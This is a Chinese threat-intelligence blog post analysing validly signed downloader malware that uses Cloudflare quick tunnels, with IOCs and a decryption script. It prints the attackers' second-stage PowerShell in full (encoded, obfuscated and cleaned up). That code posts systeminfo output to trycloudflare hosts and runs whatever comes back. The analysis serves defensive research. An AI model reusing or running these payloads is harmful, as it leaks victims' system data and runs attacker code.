文章总结: 文章分析了一批携带国内合法数字签名并使用Cloudflare隧道进行通信的恶意样本,详细剖析了其两阶段攻击链条:第一阶段下载器下载官方程序和恶意载荷,第二阶段PowerShell脚本收集系统信息并上传到C2服务器。研究发现攻击者实时更新后续载荷内容,使用trycloudflare隧道服务进行通信。虽然部分样本被标记为VidarInfostealer,但作者对此持怀疑态度。文章提供了详细的样本分析、解密函数、外联通信信息以及相关IOCs,对安全研究人员具有参考价值。
综合评分: 87
文章分类: 恶意软件,漏洞分析,逆向分析,威胁情报,实战经验
一款用国内签名+Cloudflare隧道的可疑样本分析
原创
T0daySeeker
T0daySeeker
2025年12月5日 18:06
四川
文章首发地址:
https://xz.aliyun.com/news/90767
文章首发作者:
筱一
概述
近日,笔者关注到一批恶意样本,样本均携带了国内合法数字签名,同时还使用Cloudflare提供的trycloudflare隧道进行外联通信及自定义配置载荷内容。
根据过往经验,部分APT组织曾使用trycloudflare隧道实施恶意木马活动。为深入剖析该批样本的攻击链条及其家族背景,笔者基于样本分析、数据包分析、沙箱数据对比、关联扩线等技术,对此批样本的前两个阶段的攻击链条进行了详细梳理。
在对样本家族背景研判的环节中,笔者关联到同源历史样本曾被标记为Vidar Infostealer,然而,经过笔者与公开技术报告交叉比对后,笔者对此家族背景持怀疑态度。。。
此批样本中涉及的国内数字签名如下:
- Sichuan Agromax Technology Co., Ltd.(四川格玛斯农业科技有限公司)
- Guangzhou Vance Photoelectric Technology Co., Ltd.(广州市万斯光电科技有限公司)
MSTeamsSetup.exe
文件名称:MSTeamsSetup.exe
文件大小:56336 字节
文件版本:1.3.0.2
MD5 :6D22E2A3AFA9981F2E9E6A62EE43A6D1
SHA1 :319AC60135CE00D4C30B9EA3515D2833C560DD8D
CRC32 :DC683ED2
国内数字签名
样本携带了国内数字签名,数字签名信息为:Sichuan Agromax Technology Co., Ltd.(四川格玛斯农业科技有限公司)
相关截图如下:
解密函数
样本内置了解密函数,主要用于解密相关API函数名、外联地址等字符串信息。解密函数代码如下:
基于解密函数逻辑,构建IDC解密脚本,辅助IDA静态分析。IDC解密脚本如下:
from ida_bytes import *
from idautils import *
def decrypt_at(addr, length):
table = [get_byte(0x40B060 + i) for i in range(4)]
key = length & 0xFF
data = ''
for i in range(length):
key = (key + i + key) & 0xFF
xor_val = key ^ table[i & 3]
orig = get_byte(addr + i)
data = data + chr(orig ^ xor_val)
print(data[2:])
decrypt_at(0x40A130, 23)
解密后字符串信息如下:
获取API
在分析获取API的函数时,笔者发现此函数逻辑很匪夷所思,不清楚攻击者为什么要这样写:
- sub_4018B7函数有三个参数,前两个参数分别是字符串kernel32.dll和CreateThread,第三个参数是导入表中CreateThread函数地址;
- sub_4018B7函数中,虽然前两个参数做了运算,但是最后却直接返回的参数3中CreateThread函数地址,相当于前两个参数没啥意义。。。
相关代码截图如下:
创建线程
样本运行后,将创建两个线程,用于不同外联载荷下载。相关代码截图如下:
外联通信
样本将调用getaddrinfo、socket、connect等函数构建http请求,请求头格式如下:
GET %s HTTP/1.1
Host: %s
User-Agent: PowerShell
Connection: close
相关代码截图如下:
线程一
梳理线程一功能如下:
- 从
http://statics.teams.cdn.office.net/production-windows-x86/lkg/MSTeamsSetup.exe地址下载官方MSTeamsSetup.exe程序,并将其保存至%temp%目录; - 判断文件后缀,若为msi,则构建
msiexec.exe /i命令,若为其他,则构建cmd.exe /c命令; - 调用CreateProcessA运行官方MSTeamsSetup.exe程序;
「备注:根据文件后缀判断逻辑,推测此样本应该是一个下载器程序模板,可自定义配置下载地址。」
相关截图如下:
线程二
梳理线程二功能如下:
- 从
http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html地址下载后续载荷; - 构建powershell命令并通过CreateProcessA执行;
二阶段载荷分析
基于沙箱数据,获取第二阶段载荷内容如下:
$GRYyEAWELrD = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("cmVjcmVhdGlvbi1wYXNzZWQta2VlcC1zYWZlbHkudHJ5Y2xvdWRmbGFyZS5jb20vNmJwMWhQdzNLUXVpb20="))
$RPQOLXSkSufTv = $(systeminfo|out-string)
$FiHbxUBycH = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFt"))
$crYFdmjWhWBcYj = irm $GRYyEAWELrD -method POST -b $RPQOLXSkSufTv -content $FiHbxUBycH
Invoke-Expression $crYFdmjWhWBcYj
相关截图如下:
对载荷内容进行分析,还原最终powershell命令如下:
Invoke-Expression (irm "recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom" -Method POST -Body $(systeminfo | Out-String) -ContentType "application/octet-stream")
梳理其功能如下:
- 执行systeminfo命令获取系统信息;
- 向
http://recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom地址发起POST请求,上传系统信息; - 调用Invoke-Expression执行POST返回载荷;
「备注:由于http://recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom地址暂无法访问,因此无法获取后续载荷内容;」
trycloudflare服务
基于样本外联请求,尝试对外联地址进行调研,梳理发现:「此样本使用的外联地址trycloudflare.com是Cloudflare推出的免费服务Cloudflare Quick Tunnels站点地址,初衷是用于帮助开发者快速、安全地将本地应用程序暴露到互联网上,实现全球分享和预览。」
trycloudflare服务的使用方式很简单,可直接参考官网截图:
自定义配置载荷内容
基于上述MSTeamsSetup.exe样本分析,我们基本可以确定,此样本背后应该是有组织背景的。
所以,笔者尝试基于沙箱结果,对此样本后续载荷行为进行了对比分析,对比发现:在一定时间范围内,「攻击者在实时的更新后续载荷内容」。
-
any.run沙箱中,2025.12.02 21:20时
-
成功捕获了二阶段载荷;
-
从二阶段载荷中提取三阶段载荷外联地址为
recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom; -
any.run沙箱中,2025.12.02 21:28时
-
获取二阶段载荷时,返回404;
-
VMRAY沙箱中,2025.12.02 22:47:44时
-
成功捕获了二阶段载荷;
-
从二阶段载荷中提取三阶段载荷外联地址为
http://published-rising-sampling-they.trycloudflare.com/3G3h4LnTljlSq,与any.run沙箱中的外联地址不同; -
virustotal中的CAPA沙箱中
-
提取三阶段载荷外联地址为
http://published-rising-sampling-they.trycloudflare.com/LWnkdR,与any.run沙箱中的外联地址不同;
样本扩线
除了对比沙箱结果,笔者还尝试进行了关联扩线,成功扩线发现多款同家族样本。扩线样本信息如下:
#10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
文件名:hisar_so.exe
数字签名:Sichuan Agromax Technology Co., Ltd.
Creation Time:2025-12-02 07:00:19 UTC
Signature Date:2025-12-02 13:56:00 UTC
First Submission:2025-12-03 08:20:57 UTC
外联地址一:http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html
外联地址二:http://answering-trees-vacuum-envelope.trycloudflare.com/5QgxkqT
#0ff3c8f943b1d27f8b5ecd08c5929fe81ed6a7e5f9df80bc291e704aa68d7fed
文件名:hisar_so.exe
Creation Time:2025-12-02 17:30:17 UTC
First Submission:2025-12-03 00:00:28 UTC
Last Submission:2025-12-04 04:06:05 UTC
外联地址一:http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html
外联地址二:http://published-rising-sampling-they.trycloudflare.com/byoU2HOX1gKPC
#254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0
文件名:zohoinstall.exe
数字签名:Guangzhou Vance Photoelectric Technology Co., Ltd.
Creation Time:2025-08-28 17:22:03 UTC
Signature Date:2025-08-28 17:45:00 UTC
First Submission:2025-09-02 06:34:35 UTC
外联地址:http://population-cups-lang-hearings.trycloudflare.com/second.html
Vidar Infostealer?
在对扩线样本进行研究的过程中,笔者发现any.run平台将254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0样本标记为了Vidar Infostealer。
为了确认其家族背景,笔者也尝试查阅了部分Vidar Infostealer样本的分析报告及yara检测规则,却没有发现可直接证明同源的特征。。。
相关截图如下:
zohoinstall.exe
文件名称:zohoinstall.exe
文件大小:54864 字节
文件版本:1.3.0.2
MD5 :065F745D17209635BD7886EC0E79DC04
SHA1 :70CD697BA46A203410D360F5360277DD106A9653
CRC32 :0BCA8B9B
国内数字签名
样本同样携带了国内数字签名,数字签名信息为:Guangzhou Vance Photoelectric Technology Co., Ltd.(广州市万斯光电科技有限公司)
相关截图如下:
创建线程
此样本只创建了一个线程,可能是早期版本样本的原因吧。
梳理线程功能如下:
- 从
http://population-cups-lang-hearings.trycloudflare.com/second.html地址下载后续载荷; - 构建powershell命令并调用CreateProcessA执行;
二阶段载荷分析
基于沙箱数据,获取第二阶段载荷内容,相关截图如下:
尝试对第二阶段载荷进行分析,发现此powershell脚本中使用了大量混淆技术,很容易误导分析人员。
例如:在样本代码中${Write-Error -ArgumentList -DestinationPath %TEMP% && ($gnci)} = "KCgnSU1ye3V1JysnSjMnKydSbH0gPSAoRTlGezEnKyc1JysnfScrJ3sxJysnNn17JysnMTB9ezE3fXszfXsnKycxM317MScrJzF9ezF9eycrJ"代码实际是一个变量赋值,变量名是Write-Error -ArgumentList -DestinationPath %TEMP% && ($gnci)。
为了快速去混淆,我们可直接将核心代码处的所有变量进行替换,即可得到完整的Base64编码数据:
KCgnSU1ye3V1JysnSjMnKydSbH0gPSAoRTlGezEnKyc1JysnfScrJ3sxJysnNn17JysnMTB9ezE3fXszfXsnKycxM317MScrJzF9ezF9eycrJzl9ezJ9JysneycrJzE0JysnfScrJ3s3fScrJ3snKycxMn17NX17NH17OH17NicrJ317MH1FJysnOScrJ0YgLWZVJysnTHZKa2wnKydSY1dVTHYsVScrJ0x2c1VMdixVTHYnKyctJysnc3BVJysnTHYsVUx2ZVVMdiwnKydVTHZvdWRVTHYsVUwnKyd2bFVMdixVTHYuY28nKydtL1EyREdyJysncDRVTHYsJysnVUx2dCcrJ3JVTHYsVScrJ0x2JysnZmxhJysncmVVJysnTHYsVUx2ZScrJ2QnKydVTCcrJ3YsJysnVUx2d2FVTHYsJysnVUx2Jysnb1VMdixVTHZ5Y1VMdixVTHZ4cFVMdixVTHZyaW50JysnLlVMJysndiwnKydVTHYnKydqYXBhJysnblVMdixVTHYtVUx2LCcrJ1VMdnJzJysnLScrJ1VMJysndikKSU1ye0JvdUonKyczRFknKyd9ID0gSU1yKC4oJysnRTlGezJ9ezB9ezF9RTlGJysnIC1mVUx2ZW1pbicrJ1UnKydMdicrJyxVTHYnKydmJysnbycrJ1VMdixVTHZzJysneXN0VUx2KScrJ2dHbCYnKycoRScrJzlGeycrJzF9ezN9ezB9JysnezInKyd9JysnRScrJzlGIC1mVUx2aVVMdicrJyxVTHZvdScrJ3Qtc3RVJysnTHYnKycsVScrJ0x2bmdVTCcrJ3YsVUx2clVMdicrJyknKycpCklNcntDTycrJ051SjMnKydURW51JysnSjNUJysndUozJysnVHlQZX0gPSAoRTlGezF9ezV9eycrJzN9ezInKyd9ezR9ezB9ezZ9RTlGLWYgVUwnKyd2c3RyZVVMdixVJysnTHZhcHAnKydVJysnTHYsJysnVUx2JysndCcrJ2UnKydVTCcrJ3YsJysnVUx2Y1VMdiwnKydVTHZ0LVVMJysndiwnKydVJysnTHZsaScrJ2NhdGlvJysnbi9vVUx2LCcrJ1VMdmFtVUx2KQoKSScrJ01yeycrJ0knKyd1SjNSRVN9JysnID0gJysnJihFOUYnKyd7JysnMn17JysnMH17M317MX17JysnNX0nKyd7NH1FOUYnKycgLWYgJysnVUwnKyd2JysnbicrJ3Zva2UtVUx2LFVMdmVzVUx2JysnLFVMJysndklVTHYsVUx2UlVMdixVTHZ0aG9kVUx2LFVMdnRNZVVMJysndikgSScrJ01ye3V1SjNSTH0gLW0nKydldGhvZCAoRTlGezB9JysnezF9JysnRTlGIC1mICcrJ1VMdlBVTHYsVUx2JysnT1NUJysnVUx2JysnKSAtYiBJTXJ7QnVKMycrJ09kWScrJ30nKycgLScrJ2NvbicrJ3QnKydlJysnbnQgSU1ye0NvdUozJysnTlQnKyd1SicrJzNFJysnTnR1SjMnKydUWVAnKydFfQonKycKJysnLihFOScrJ0Z7M30nKyd7MX17JysnMCcrJ317Mn1FOUYtZlUnKydMJysndnMnKydzaScrJ1UnKydMdiwnKydVJysnTHZFeHByJysnZVVMdixVTHYnKydvblVMdixVTHZJbicrJ3Zva2UtVUx2KSBJTXJ7JysnaVJ1SjNlc30KJysnCicpIC1yRXBMYUNFJ3VKMycsW0NIYVJdOTYgLXJFcExhQ0UgIChbQ0hhUl03MytbQ0hhUl03NytbQ0hhUl0xMTQpLFtDSGFSXTM2ICAtckVwTGFDRShbQ0hhUl02OStbQ0hhUl01NytbQ0hhUl03MCksW0NIYVJdMzQgLUNyRXBsQWNlICdnR2wnLFtDSGFSXTEyNCAgLXJFcExhQ0UnVUx2JyxbQ0hhUl0zOSl8JiggJHBzSG9NRVs0XSskcHNob01FWzM0XSsnWCcpCg==
Base64解码后数据如下:
(('IMr{uu'+'J3'+'Rl} = (E9F{1'+'5'+'}'+'{1'+'6}{'+'10}{17}{3}{'+'13}{1'+'1}{1}{'+'9}{2}'+'{'+'14'+'}'+'{7}'+'{'+'12}{5}{4}{8}{6'+'}{0}E'+'9'+'F -fU'+'LvJkl'+'RcWULv,U'+'LvsULv,ULv'+'-'+'spU'+'Lv,ULveULv,'+'ULvoudULv,UL'+'vlULv,ULv.co'+'m/Q2DGr'+'p4ULv,'+'ULvt'+'rULv,U'+'Lv'+'fla'+'reU'+'Lv,ULve'+'d'+'UL'+'v,'+'ULvwaULv,'+'ULv'+'oULv,ULvycULv,ULvxpULv,ULvrint'+'.UL'+'v,'+'ULv'+'japa'+'nULv,ULv-ULv,'+'ULvrs'+'-'+'UL'+'v)
IMr{BouJ'+'3DY'+'} = IMr(.('+'E9F{2}{0}{1}E9F'+' -fULvemin'+'U'+'Lv'+',ULv'+'f'+'o'+'ULv,ULvs'+'ystULv)'+'gGl&'+'(E'+'9F{'+'1}{3}{0}'+'{2'+'}'+'E'+'9F -fULviULv'+',ULvou'+'t-stU'+'Lv'+',U'+'LvngUL'+'v,ULvrULv'+')'+')
IMr{CO'+'NuJ3'+'TEnu'+'J3T'+'uJ3'+'TyPe} = (E9F{1}{5}{'+'3}{2'+'}{4}{0}{6}E9F-f UL'+'vstreULv,U'+'Lvapp'+'U'+'Lv,'+'ULv'+'t'+'e'+'UL'+'v,'+'ULvcULv,'+'ULvt-UL'+'v,'+'U'+'Lvli'+'catio'+'n/oULv,'+'ULvamULv)
I'+'Mr{'+'I'+'uJ3RES}'+' = '+'&(E9F'+'{'+'2}{'+'0}{3}{1}{'+'5}'+'{4}E9F'+' -f '+'UL'+'v'+'n'+'voke-ULv,ULvesULv'+',UL'+'vIULv,ULvRULv,ULvthodULv,ULvtMeUL'+'v) I'+'Mr{uuJ3RL} -m'+'ethod (E9F{0}'+'{1}'+'E9F -f '+'ULvPULv,ULv'+'OST'+'ULv'+') -b IMr{BuJ3'+'OdY'+'}'+' -'+'con'+'t'+'e'+'nt IMr{CouJ3'+'NT'+'uJ'+'3E'+'NtuJ3'+'TYP'+'E}
'+'
'+'.(E9'+'F{3}'+'{1}{'+'0'+'}{2}E9F-fU'+'L'+'vs'+'si'+'U'+'Lv,'+'U'+'LvExpr'+'eULv,ULv'+'onULv,ULvIn'+'voke-ULv) IMr{'+'iRuJ3es}
'+'
') -rEpLaCE'uJ3',[CHaR]96 -rEpLaCE ([CHaR]73+[CHaR]77+[CHaR]114),[CHaR]36 -rEpLaCE([CHaR]69+[CHaR]57+[CHaR]70),[CHaR]34 -CrEplAce 'gGl',[CHaR]124 -rEpLaCE'ULv',[CHaR]39)|&( $psHoME[4]+$pshoME[34]+'X')
进一步分析,继续对Base64解码后的数据进行解混淆,去混淆代码如下:
${u`Rl} = ("{15}{16}{10}{17}{3}{13}{11}{1}{9}{2}{14}{7}{12}{5}{4}{8}{6}{0}" -f'JklRcW','s','-sp','e','oud','l','.com/Q2DGrp4','tr','flare','ed','wa','o','yc','xp','rint.','japan','-','rs-')
${Bo`DY} = $(.("{2}{0}{1}" -f'emin','fo','syst')|&("{1}{3}{0}{2}" -f'i','out-st','ng','r'))
${CON`TEn`T`TyPe} = ("{1}{5}{3}{2}{4}{0}{6}"-f 'stre','app','te','c','t-','lication/o','am')
${I`RES} = &("{2}{0}{3}{1}{5}{4}" -f 'nvoke-','es','I','R','thod','tMe') ${u`RL} -method ("{0}{1}" -f 'P','OST') -b ${B`OdY} -content ${Co`NT`ENt`TYPE}
.("{3}{1}{0}{2}"-f'ssi','Expre','on','Invoke-') ${iR`es} | &('ieX')
手工梳理,发现此powershell脚本的功能与MSTeamsSetup.exe样本的二阶段载荷功能相同,均是POST上传systeminfo命令数据,接收并执行三阶段载荷内容。
手工整理后代码如下:
${u`Rl} = "japan-wars-exposed-sprint.trycloudflare.com/Q2DGrp4JklRcW"
${Bo`DY} = systeminfo | Out-String
${CON`TEn`T`TyPe} = "application/octet-stream"
${I`RES} = Invoke-RestMethod ${u`Rl} -method POST -b ${Bo`DY} -content ${CON`TEn`T`TyPe}
Invoke-Expression ${iR`es} | &('ieX')
可惜的是,此样本还是未捕获到三阶段载荷内容。相关数据包截图如下:
IOCs
样本Hash:
6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0
10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
0ff3c8f943b1d27f8b5ecd08c5929fe81ed6a7e5f9df80bc291e704aa68d7fed
254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0
外联地址:
http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html
http://answering-trees-vacuum-envelope.trycloudflare.com/5QgxkqT
http://published-rising-sampling-they.trycloudflare.com/3G3h4LnTljlSq
http://published-rising-sampling-they.trycloudflare.com/LWnkdR
http://published-rising-sampling-they.trycloudflare.com/byoU2HOX1gKPC
http://population-cups-lang-hearings.trycloudflare.com/second.html
http:/japan-wars-exposed-sprint.trycloudflare.com/Q2DGrp4JklRcW
国内数字签名:
Sichuan Agromax Technology Co., Ltd.
Guangzhou Vance Photoelectric Technology Co., Ltd.
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:T0daySeeker T0daySeeker《一款用国内签名+Cloudflare隧道的可疑样本分析》